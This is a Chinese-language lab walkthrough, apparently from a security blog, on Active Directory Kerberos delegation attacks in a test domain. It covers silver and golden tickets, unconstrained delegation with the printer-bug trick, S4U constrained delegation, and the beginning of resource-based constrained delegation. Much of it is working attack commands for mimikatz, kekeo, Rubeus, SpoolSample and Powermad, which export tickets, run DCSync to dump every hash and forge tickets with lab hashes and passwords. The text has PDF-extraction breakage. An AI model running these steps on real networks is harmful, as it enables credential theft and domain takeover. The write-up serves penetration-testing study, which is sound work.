99-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testla
b /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:t
est /ptt 

再次访问即可！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4503-b548e9f6-42e2-1.png)

silver Ticket 还可以⽤于伪造其他服务，例如创建和修改计划任

务、使⽤ WMI 对远程主机执⾏命令，使⽤ powershell 对远程主机

进⾏管理等 

https://xzfile.aliyuncs.com/media/upload/picture/20201221004458-b2157f88-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004503-b548e9f6-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004508-b8210f28-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4508-b8210f28-42e2-1.png)

服务账号的 NTLM Hash 这⾥⽤的是机器账号的 NTLM Hash ，说

是共享服务账号 

需要伪造的⽤户名，这⾥需要是域内的⽤户

参考链接：

https://www.freebuf.com/articles/network/245872.html 
https://www.cnblogs.com/wuxinmengyi/p/11769233.html 
https://pureqh.top/?p=4358 
https://www.cnblogs.com/bmjoker/p/10355979.html 
https://www.anquanke.com/post/id/172900#h2-6 
https://www.cnblogs.com/bmjoker/p/10355979.html 

域委派是指将域内⽤户的权限委派给服务账户，使得服务账号能够

以⽤户的权限在域内展开活动。

委派主要分为⾮约束委派 (Unconstrained delegation) 和约束委派

前⾔

https://xzfile.aliyuncs.com/media/upload/picture/20201221004508-b8210f28-42e2-1.png


Constrained delegation) 与基于资源的约束委派 （Resource

Based Constrained Delegation）

当 user 访问 service1 时，如果 service1 的服务账号开启了

unconstrained delegation(⾮约束委派)，则当 user 访问 service1

时会将 user 的 TGT 发送给 service1 并保存在内存中已备下次重

⽤，然后 service1 就可以利⽤这张 TGT 以 user 的身份去访问域内

的任何服务 (任何服务是指 user 能够访问的服务) 了

⾮约束委派的请求过程（图来⾃微软⼿册）： 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3500-44c91ebe-434e-1.png)

上图的 kerberos 请求描述分为如下步骤：

⾮约束委派

原理

https://xzfile.aliyuncs.com/media/upload/picture/20201221133500-44c91ebe-434e-1.png


1. ⽤户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。 
 
2. KDC在`KRB_AS_REP`消息中返回`TGT1`。 
 
3. ⽤户根据步骤2中的TGT1请求转发TGT2。
 
4. KDC在KRB_TGS_REP消息中为user返回TGT2。 
 
5. ⽤户使⽤步骤2中返回的TGT1向KDC请求Service1的ST（Service Ticket） 
 
6. TGS在KRB_TGS_REP消息中返回给⽤户service1的ST。 
 
7. ⽤户发送KRB_AP_REQ消息请求Service1，KRB_AP_REQ消息中包含了TGT1和
Service1的ST、TGT2、TGT2的SessionKey 
 
8. service1使⽤⽤户发送过来的的TGT2，并以KRB_TGS_REQ的形式将其发送到
KDC，以⽤户的名义请求service2的ST。 
 
9. KDC在KRB_TGS_REP消息中返回service2到service1的ST，以及service1
可以使⽤的sessionkey。ST将客户端标识为⽤户，⽽不是service1。 
 
10. service1通过KRB_AP_REQ以⽤户的名义向service2发出请求。 
 
11. service2响应service1的请求。 
 
12. 有了这个响应，service1就可以在步骤7中响应⽤户的请求。 
 
13. 这⾥的TGT转发委派机制没有限制service1使⽤的TGT2是来⾃哪个服务，所
以service1可以以⽤户的名义向KDC索要任何其他服务的票证。 
 
14. KDC返回步骤13中请求的ST 
 
15-16. service1以⽤户的名义来请求其它服务 

注：TGT1(forwardable TGT) ⽤于访问 Service1，

TGT2(forwarded TGT) ⽤于访问 Service2

操作环境

域: hacke.testlab

域控： i 2012 R2 主机名 WIN Q2JR4MURGS0 IP

实验环境



域控：win 2012 R2 主机名 WIN-Q2JR4MURGS0 IP

192.168.60.1

域内主机：win7 主机名 WIN7 IP 192.168.60.50

PowerSploit 下的 PowerView.ps1 脚本

寻找设置了⾮约束委派的账号

powershell.exe -exec bypass -Command "& {Import-Module .\Powe
rView.ps1;Get-NetUser -Unconstrained -Domain hacke.testlab | 
select name }" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3510-4ab5d02e-434e-1.png)

寻找设置了⾮约束委派的主机

powershell.exe -exec bypass -Command "& {Import-Module .\powe
rview.ps1;Get-NetComputer -Unconstrained -Domain hacke.testla
b }" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3515-4da11cee-434e-1.png)

⾮约束委派信息搜集

https://xzfile.aliyuncs.com/media/upload/picture/20201221133510-4ab5d02e-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133515-4da11cee-434e-1.png


pass: 域控默认设置为⾮约束委派

使⽤ ADFind.exe 查找

寻找设置了⾮约束委派的账号

AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805
306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" 
cn distinguishedName 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3520-50f1c132-434e-1.png)

寻找设置了⾮约束委派的主机

AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805
306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" 
cn distinguishedName 

https://xzfile.aliyuncs.com/media/upload/picture/20201221133520-50f1c132-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133525-537d3a76-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3525-537d3a76-434e-1.png)

pass: 域控默认设置为⾮约束委派

在这⾥⾸先将 WIN7 机器设置为⾮约束委派权限 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3530-56a0b318-434e-1.png)

每次实验之前清除票据 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3533-58b69b0e-434e-1.png)

所需权限： 

⾮约束主机的管理权权限，需要导出内存中的票据

⾸先在域控上访问我们的 WIN7，这⾥只要是⾼权限账户登录任意

域内⼀台机器访问即可。 

⾮约束委派攻击

⾼权限机器主动访问我们

https://xzfile.aliyuncs.com/media/upload/picture/20201221133525-537d3a76-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133530-56a0b318-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133533-58b69b0e-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133537-5abf14d0-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3537-5abf14d0-434e-1.png)

这时候 win7 的 lsass.exe 内存中就会有域⽤户 test 的 TGT 票据。

我们在 win7 上⽤管理员运⾏ mimikatz，命令如下

privilege::debug 
sekurlsa::tickets /export 

设置⾮约束和约束的凭证区别 

https://xzfile.aliyuncs.com/media/upload/picture/20201221133537-5abf14d0-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133542-5dca748a-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3542-5dca748a-434e-1.png)

在这⾥尝试访问域控判断是否成功 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3546-604248f0-434e-1.png)

使⽤ mimikatz 将这个票据导⼊内存中，然后访问域控 

导⼊票据

kerberos::ptt [0;8c20d]-2-0-60810000-Administrator@krbtgt-HAC
KE.TESTLAB.kirbi 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3552-6399458a-434e-1.png)

这时候就成功了 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3556-66094e6e-434e-1.png)

https://xzfile.aliyuncs.com/media/upload/picture/20201221133542-5dca748a-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133546-604248f0-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133552-6399458a-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133556-66094e6e-434e-1.png


这种⽅法除了欺骗他⼈之外，最常⽤的就是在 IIS 服务器上⾯的应

⽤。因为很多 web 服务器开启了⾮委派，这样可以存储⾮常多的

TGT。⾼权限导出即可!

在第⼀种中，其实利⽤起来难度不⼩。让要⾼权限⽤户来访问我们

的⾮约束主机其实利⽤起来不太好，所以这⾥我们还可以使⽤打印

机的 BUG，来让它以⾼权限⽤户访问⾮约束主机。

所需权限： 

⾮约束主机的管理权限，需要导出内存中的票据。 

有两种⽅式，1.system 权限 + 其他⽅式获取的域 sid 2. 两个会

话，⼀个 system/administrator ⼀个域内权限

(1)system 权限 + 其他⽅式获取的域 sid

⾸先使⽤⼯具 Rubeus.exe 1.5.0 监听来⾃ WIN-Q2JR4MURGS0

Event ID 为 4624 事件。每隔⼀秒监听⼀次来⾃ WIN-

Q2JR4MURGS0 的登录，然后将其写到⽂件夹⾥

Rubeus.exe monitor /interval:1 /filteruser:WIN-Q2JR4MURGS0$ > 
C:\user.txt 
psexec.exe -s cmd /c "Rubeus.exe monitor /interval:1 /filteru
ser:WIN-Q2JR4MURGS0$ > C:\user.txt " -arguments 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3605-6b4cfdd0-434e-1.png)

想使⽤ SpoolSampler 需要访问域内权限 如果使⽤ administrator

使⽤打印机服务 BUG 来访问我们

https://xzfile.aliyuncs.com/media/upload/picture/20201221133605-6b4cfdd0-434e-1.png


想使⽤ SpoolSampler 需要访问域内权限，如果使⽤ administrator

执⾏。会出现 SMB 认证失败的情况！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3609-6ddd4f3c-434e-1.png)

因此这⾥需要提升到 system 权限，或者在域⽤户下执⾏。在这⾥

使⽤ psexec 单条命令提到 system 权限，去认证执⾏查询操作

psexec.exe -s cmd /c "C:\Users\Administrator\Desktop\tool\too
ls--main\SpoolSample\SpoolSamplerNET.exe WIN7 WIN-Q2JR4MURGS
0" -arguments //前当前主机名  后域控主机名  不同⼯具不同写法 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

https://xzfile.aliyuncs.com/media/upload/picture/20201221133609-6ddd4f3c-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133611-6f5e4118-434e-1.png


3611-6f5e4118-434e-1.png)

下载链接

https://github.com/shigophilo/tools- 

然后根据不同的系统版本选择适合的请求⼯具，在这⾥笔者环境为

WIN7。因此使⽤ SpoolSamplerNET.exe

SpoolSamplerNET.exe WIN7 WIN-Q2JR4MURGS0   //前本机  后域控   不
同⼯具位置不同 

随后在 Rubeus.exe 指定的⽂件夹下就出现了信息 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3617-72bfc26e-434e-1.png)

在这⾥想要利⽤还需要获取域 SID，这⾥我们可以通过窃取凭证或

者在其他机器上拿到。因为凭证窃取 AccessToken 需要交互，所

以这⾥直接在其他域机器上拿到了 sid

S-1-5-21-3502871099-3777307143-1257297015 

凭证窃取

https://blog.csdn.net/qq_45521281/article/details/105941102 

根据其他⼈的测试，这⾥可以使⽤ mimikatz 从内存中导出票据。 

https://xzfile.aliyuncs.com/media/upload/picture/20201221133611-6f5e4118-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133617-72bfc26e-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133623-7680a6c0-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3623-7680a6c0-434e-1.png)

但是我这⾥不⾏，这⾥并没有来⾃域控的票据 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3628-79662db0-434e-1.png)

因此在这⾥需要使⽤ Rubeus 导⼊ base64 格式的票据，⾸先将我

https://xzfile.aliyuncs.com/media/upload/picture/20201221133623-7680a6c0-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133628-79662db0-434e-1.png


们监听得到的 base64 数据继续整理
 

这⾥需要使⽤ base64 格式导⼊



Rubeus35.exe ptt /ticket:doIFkDCCBYygAwIBBaEDAgEWooIEijCCBIZh 

https://xzfile.aliyuncs.com/media/upload/picture/20201221133635-7d737caa-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3635-7d737caa-434e-1.png)

在导⼊成功之后，我们就可以尝试获取域控的 krbtgt hash 了

mimikatz.exe "lsadump::dcsync /domain:hacke.testlab /all /cs
v" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3644-82e6be68-434e-1.png)

在这⾥开始制作⻩⾦票据，需要使⽤ sid。在这⾥通过其他机器获取

到 sid

S-1-5-21-3502871099-3777307143-1257297015 

使⽤ mimikatz 制作 ticket.kirbi 票据

kerberos::golden /admin:Administrator /domain:hacke.testlab /
sid:S-1-5-21-3502871099-3777307143-1257297015 /krbtgt:2e1c1d8
ccc005ba4da4af2adeb72dd39 /ptt 

https://xzfile.aliyuncs.com/media/upload/picture/20201221133635-7d737caa-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133644-82e6be68-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133654-886f1448-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3654-886f1448-434e-1.png)

这时候我们就可以尝试访问域控了！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3657-8a86c528-434e-1.png)

(2) 两个会话，⼀个 system/administrator ⼀个域内权限

这⾥其实和之前那个⼀样，只不过可以通过域内权限获取 sid ⽽已!

由于⾮约束委派的不安全性，微软在 windows service 2003 中引

⼊了约束委派，对 kerberos 协议进⾏了扩展，引⼊了 S4U，其中

S4U ⽀持两个⼦协议：S4U2Self 和 S4U2proxy。这两个协议可以

代替任何⽤户从 KDC 请求票据。S4U2self 可以代表⾃身请求对其

⾃身的 kerberos 服务票据 (ST)；S4U2proxy 可以以⽤户名义请求

其他服务的 ST，约束委派就限制了 S4U2proxy 扩展的范围。

约束委派

原理

https://xzfile.aliyuncs.com/media/upload/picture/20201221133654-886f1448-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133657-8a86c528-434e-1.png


注：其中步骤 1-4 代表 S4U2Self 请求的过程，步骤 5-10 代表

S4U2proxy 的请求过程 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3703-8df19cba-434e-1.png)

上述请求的⽂字描述：

1. ⽤户向service1发出请求。⽤户已通过身份验证，但service1没有⽤户的授
权数据。通常，这是由于身份验证是通过Kerberos以外的其他⽅式验证的。 
 
2. 通过S4U2self扩展以⽤户的名义向KDC请求⽤于访问service1的ST1。 
 
3. KDC返回给Service1⼀个⽤于⽤户验证Service1的ST1，该ST1可能包含⽤户
的授权数据。 
 
4. service1可以使⽤ST中的授权数据来满⾜⽤户的请求，然后响应⽤户。 
注：尽管S4U2self向service1提供有关⽤户的信息，但S4U2self不允许servic
e1代表⽤户发出其他服务的请求，这时候就轮到S4U2proxy发挥作⽤了 
 
5. ⽤户向service1发出请求，service1需要以⽤户身份访问service2上的资
源。 
 
6. service1以⽤户的名义向KDC请求⽤户访问service2的ST2 
 
7. 如果请求中包含PAC，则KDC通过检查PAC的签名数据来验证PAC ，如果PAC有
效或不存在 则KDC返回ST2给service1 但存储在ST2的cname和crealm字段中

https://xzfile.aliyuncs.com/media/upload/picture/20201221133703-8df19cba-434e-1.png


效或不存在，则KDC返回ST2给service1，但存储在ST2的cname和crealm字段中
的客户端身份是⽤户的身份，⽽不是service1的身份。 
 
8. service1使⽤ST2以⽤户的名义向service2发送请求，并判定⽤户已由KDC进
⾏身份验证。 
 
9. service2响应步骤8的请求。
 
10. service1响应⽤户对步骤5中的请求。 

想要配置委派，⾸先需要将账号绑定 SPN 服务。主机账号默认加⼊

域时会绑定⼏个默认的 SPN，⽽域账号则需要通过 spn 命令来设

置。在这⾥不演示如何配置约束委派。

Empire 下的 powerview.ps1 脚本

配置了约束委派的服务域账号

powershell.exe -exec bypass -Command "& {Import-Module .\powe
rview.ps1;Get-DomainUser -TrustedToAuth -Domain hacke.testlab 
| select name }" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3835-c4be630e-434e-1.png)

配置了约束委派的服务机器账号

powershell.exe -exec bypass -Command "& {Import-Module .\powe
rview.ps1;Get-DomainComputer -TrustedToAuth -Domain hacke.tes
tlab | select name}" 

约束配置

约束委派信息搜集

https://xzfile.aliyuncs.com/media/upload/picture/20201221133835-c4be630e-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133838-c6eb1050-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3838-c6eb1050-434e-1.png)

ADFind

域⽤户服务账号以及对应的委派对象

AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805
306368)(msds-allowedtodelegateto=*))" cn distinguishedName ms
ds-allowedtodelegateto 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3844-ca6a2c52-434e-1.png)

主机机器服务账户以及对应的委派对象

AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805
306369)(msds-allowedtodelegateto=*))" cn distinguishedName ms
ds-allowedtodelegateto 

https://xzfile.aliyuncs.com/media/upload/picture/20201221133838-c6eb1050-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133844-ca6a2c52-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133848-ccd17676-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3848-ccd17676-434e-1.png)

域⽤户服务账号和主机服务账号，同样可以获取伪造⾼权限对应服

务票据。

域⽤户服务账号：weipai 

域⽤户服务账号密码: QWE123!@#

通过 Empire 下的 powerview.ps1 脚本查找约束委派账号

powershell.exe -exec bypass -Command "& {Import-Module .\powe
rview.ps1;Get-DomainUser -TrustedToAuth -Domain hacke.testlab 
| select name }" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3855-d0e18792-434e-1.png)

但是这⾥还需要知道这两个⽤户委派的是 SPN 服务，使⽤

AdFind.exe 发现域⽤户的委派 spn 对象

约束资源委派攻击

使⽤域账号服务凭证获取

https://xzfile.aliyuncs.com/media/upload/picture/20201221133848-ccd17676-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133855-d0e18792-434e-1.png


AdFind.exe -b dc=hacke,dc=testlab -f "(&(objectCategory=user)
(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:
=16777216))" msDS-AllowedToDelegateTo 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3859-d3244bd4-434e-1.png)

在这⾥可以看到委派的 SPN 对象，这⾥ weipai 域⽤户服务账号委

派的是域控的 445 权限。因此这⾥伪造尝试访问域控的 445。

⾸先需要伪造 S4U，这⾥需要获取 weipai 域账号的明⽂密码。

使⽤ kekeo 请求该⽤户的 TGT

tgt::ask /user:weipai /domain:hacke.testlab /password:QWE123!
@# /ticket:test.kirbi 

https://xzfile.aliyuncs.com/media/upload/picture/20201221133859-d3244bd4-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133904-d611c5d8-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3904-d611c5d8-434e-1.png)

当破解不出明⽂密码时，还可以使⽤ NTLM hash!

tgt::ask /user:weipai /domain:hacke.testlab /NTLM:b4f27a13d0f
78d5ad83750095ef2d8ec 

在这⾥获取到了访问服务本身的 tgt 票据：

TGT_weipai@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.k
irbi 

随后使⽤这张可转发的 TGT 票据去伪造 s4u 请求以 administrador

⽤户权限访问 SPN 委派服务

tgs::s4u /tgt:TGT_weipai@HACKE.TESTLAB_krbtgt~hacke.testlab@H
ACKE.TESTLAB.kirbi /user:Administrator@hacke.testlab /servic
e:cifs/WIN-Q2JR4MURGS0.hacke.testlab 

https://xzfile.aliyuncs.com/media/upload/picture/20201221133904-d611c5d8-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133911-da473796-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3911-da473796-434e-1.png)

S4U2Self 获取到的 ST1 以及 S4UProxy 获取到的 WIN-

Q2JR4MURGS0 CIFS 服务的 ST2 会保存在⽬录下

然后我们使⽤ mimikatz 将 ST2 导⼊当前会话即可

kerberos::ptt TGS_Administrator@hacke.testlab@HACKE.TESTLAB_c
ifs~WIN-Q2JR4MURGS0.hacke.testlab@HACKE.TESTLAB.kirbi 

没导⼊前⽆法访问域控 WIN-Q2JR4MURGS0 CIFS 服务

dir \\WIN-Q2JR4MURGS0\C$ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3917-ddb5bb14-434e-1.png)

导⼊后则可以访问 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3920-df9b5e02-434e-1.png)

https://xzfile.aliyuncs.com/media/upload/picture/20201221133911-da473796-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133917-ddb5bb14-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133920-df9b5e02-434e-1.png


AdFind 发现主机的委派 SPN 对象

AdFind.exe -b dc=hacke,dc=testlab -f "(&(objectCategory=compu
ter)(objectClass=computer)(userAccountControl:1.2.840.113556.
1.4.803:=16777216))" msDS-AllowedToDelegateTo 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3934-e852744a-434e-1.png)

WIN8$ 的 NTLM 如下

[00000003] Primary 
     * Username : WIN8$ 
     * Domain   : HACKE 
     * NTLM     : 7b335709cb4c692de6cd42b328fe8b1b 
     * SHA1     : a3903dbf45c7b12186eec1b430f74fa3de7a4051 

在这⾥也可以使⽤机器账户委派，需要⽣成⼀个机器账户的票据。

因为机器账户的密码成不规则，所以在这⾥使⽤ ntlm 格式去⽣成。

使⽤ kekeo 去⽣成票据

tgt::ask /user:WIN8$ /domain:hacke.testlab /NTLM:7b335709cb4c
692de6cd42b328fe8b1b 

使⽤机器账户服务凭证申请

https://xzfile.aliyuncs.com/media/upload/picture/20201221133934-e852744a-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133944-edecc0ea-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3944-edecc0ea-434e-1.png)

随后使⽤这张 "服务票据" 去进⾏ S4U 阶段的伪造

tgs::s4u /tgt:TGT_WIN8$@HACKE.TESTLAB_krbtgt~hacke.testlab@HA
CKE.TESTLAB.kirbi /user:Administrator /service:cifs/WIN-Q2JR4
MURGS0.hacke.testlab 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3953-f31abb9e-434e-1.png)

在没有导⼊之前访问域控的 cifs 服务 

https://xzfile.aliyuncs.com/media/upload/picture/20201221133944-edecc0ea-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133953-f31abb9e-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221133957-f5ceaae4-434e-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

3957-f5ceaae4-434e-1.png)

在这⾥使⽤ mimikaze 导⼊

kerberos::ptt TGS_Administrator@HACKE.TESTLAB_cifs~WIN-Q2JR4M
URGS0.hacke.testlab@HACKE.TESTLAB.kirbi 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4001-f809a304-434e-1.png)

在其他未设置约束委派的机器上，使⽤ WIN8$ 机器账户的凭证发

起请求。也可以获取可转发的 ST 票据。

在⽂章说到的： 

(1) 注：在 Windows 系统中 只有服务账号和主机账号的属性才有

额外的知识点

服务账号的区分

https://xzfile.aliyuncs.com/media/upload/picture/20201221133957-f5ceaae4-434e-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134001-f809a304-434e-1.png


(1) 注：在 Windows 系统中，只有服务账号和主机账号的属性才有

委派功能，普通⽤户默认是没有的 

https://xz.aliyun.com/t/7217#toc-1

(https://xz.aliyun.com/t/7217#toc-1)  

(2) 在⼀个域中只有服务账号才有委派功能，使⽤如下命令将

ghtwf01 设为服务账号 

https://xz.aliyun.com/t/7517#toc-3

(https://xz.aliyun.com/t/7517#toc-3)

1、2 存在悖论，根据 2 中的意思是只要绑定 SPN 服务就为服务账

号。⽽ 1 中则将能够委派的账号分为服务账号和主机账号。但是在

加⼊域的主机账号已经⾃动绑定了 SPN 服务成为了 2 中的服务账

号。

因此服务账号可分为域⽤户服务账号、机器服务账号

在这⾥主机账号、机器账号通过⽂章阅读在利⽤上没有什么差别，

但是在其他地⽅我不肯定。

约束委派中，发起请求的服务。在灵腾实验室中是⽤主机机器服务

账号来进⾏演示的，在先知的⽂章中是使⽤域成员服务账号来演示

的！在笔者⼀开始理解中，以为约束和⾮约束⼀样都是需要⽤户来

访问主机机器服务账号所登录的机器才能成功。

但看了先知的⽂章发现没有提及主机服务账号设置委派进⾏约束攻

击，导致我⾮常的疑惑。且那时候没有搞明⽩⼀个点，到底是谁，

哪个服务去发起的请求。是设置主机机器服务账号的机器本身去申

请的吗？是设置了域成员服务账号所登录的主机去申请的吗?

因此在⼈家的实验过程中，实在理解不了使⽤设置委派服务的账号

密码去申请 TGT 这⼀过程。因为在当时我所看的⼤部分⽂章都是互

相抄袭，没有委派阶段同时实验域服务和主机服务的过程！但是在

我阅读很多次以后，我明确了⼀个观点！所谓 service1 服务 伪造⽤

户请求 service2，其实就是使⽤设置委派的账号⽣成⼀个 TGT，从

⽽这个 TGT 就代表了 service1 服务！ 从⽽接下来的过程就变得⾮

常透彻了，使⽤这个 tgt 去申请 S4U 过程就变得很好理解了！

在⾮约束委派种，只有⾮约束委派的主机机器服务账户才起作⽤。

⽽约束委派则是域服务账户和主机机器服务账户都可以起作⽤！并

申请凭证的根源

⾮约束和约束委派总结

https://xz.aliyun.com/t/7217#toc-1
https://xz.aliyun.com/t/7517#toc-3


⽽约束委派则是域服务账户和主机机器服务账户都可以起作⽤！并

且他们使⽤的信息搜集都是使⽤ ldap 协议去查询某个键值。

在这⾥主要参考了 A-Team 的⽂章 "微软不认的 “0day” 之域内本

地提权 - 烂番茄（Rotten Tomato）"，在略结合⾃⼰的⼀些实践来

写。

基于资源的约束委派是⼀种允许⾃⼰去设置哪些账户委派给⾃⼰的

约束委派，它和前⾯两种不同的地⽅就是前者是由域控上的⾼权限

账户设置的，⽽且则可以⾃⼰指定。

传统的约束委派是 "正向的"，通过修改服务 A 属性 "msDS-

AllowedToDelegateTo"，添加服务 B 的 SPN(Service Prinvice

Name)，设置约束委派对象 (服务 B)，服务 A 便可以模拟⽤户向域

控制器请求服务 B 以获得服务票据(TGS) 来使⽤服务 B 的资源。

⽽基于资源的约束委派则相反，通过修改服务 B 属性 "msDS-

AllowedToActOnBehalfOfOtherIdentity"，添加服务 A 的 SPN，

达到让服务 A 模拟⽤户访问 B 资源的⽬的。 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4012-fe97e528-434e-1.png)

域控 192.168.60.1 

WIN7 192.168.60.3 

WIN8 192 168 60 2

基于资源的约束委派 RBCD

原理

实验环境

https://xzfile.aliyuncs.com/media/upload/picture/20201221134012-fe97e528-434e-1.png


WIN8 192.168.60.2

使⽤ CS、MSF 进⾏⾮交互式实验

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4016-0118b0d4-434f-1.png)

⼯具事先已经上传到机器当中 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4020-038784b2-434f-1.png)

因为是 win7 机器，所以在这⾥使⽤ v3.5 环境编译的 EXE 进⾏信

息搜集

shell  C:\Users\test\Desktop\CreatorSIDQuery\v3.5\CreatorSIDQ
uery.exe > C:\Users\test\Desktop\CreatorSIDQuery\v3.5\user.tx
t

⾸先模拟上线域内成员

信息搜集

https://xzfile.aliyuncs.com/media/upload/picture/20201221134016-0118b0d4-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134020-038784b2-434f-1.png


t 

随后使⽤命令读取查看

shell type C:\Users\test\Desktop\CreatorSIDQuery\v3.5\user.tx
t 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4025-06acb842-434f-1.png)

可以在这⾥看到 WIN8、WIN7 机器账号都是由 test 域账号加⼊到

hacke.testlab 域当中的！之所以说是机器账号⽽不直接说 WIN8、

WIN7 主机，是因为使⽤ test 域普通账号创建的机器账号也会显示

在这⾥！

但是在我的实验环境中⽬前没有⽤ test 创建机器账户，因此这⾥

WIN8、WIN7 都是主机。我们可以通过 ping 的⽅式找到对应的

IP。 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4029-08f0364c-434f-1.png)

也就是说我们可以通过⽬前的 test 域普通账号，拿到 WIN7 WIN8

https://xzfile.aliyuncs.com/media/upload/picture/20201221134025-06acb842-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134029-08f0364c-434f-1.png


两台机器的 system 权限

根据委派的规则，我们需要⼀个 SPN 服务账户来接受委派。但是我

们⽬前只有域内⽤户 test 的凭证。这个时候该怎么办呢？

我们可以使⽤ test 账户创建⼀个机器账户，这涉及到了另外⼀个知

识点。

默认域控的 ms-DS-MachineAccountQuota 属性设置允许所有域

⽤户向⼀个域添加多达 10 个计算机账户，也就是说只要有⼀个域凭

证就可以在域内任意添加机器账户。这个凭证可以是域内的⽤户账

户、服务账户、机器账户。当然了服务账户，和域⽤户账户、机器

账户部分可能会有些重合。

且在这⾥还存在⼀个默认的规则，使⽤域账户创建或加⼊域的机器

账户⾃动注册 SPN 变为服务账户！这样我们就创建了⼀个 SPN 服

务账户！

使⽤ Powermad.ps1 来添加机器账户

shell powershell.exe -exec bypass -Command "& {Import-Module 
C:\Users\test\Desktop\WP\Powermad-master\Powermad.ps1;New-Mac
hineAccount -MachineAccount 0xxk -Password $(ConvertTo-Secure
String "QWE123!@#" -AsPlainText -Force)}" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4034-0c095dfe-434f-1.png)

⼯具链接

查看域 computers 组的⽤户

创建接受委派的机器⽤户

https://github.com/Kevin-Robertson/Powermad

(https://github.com/Kevin-Robertson/Powermad)

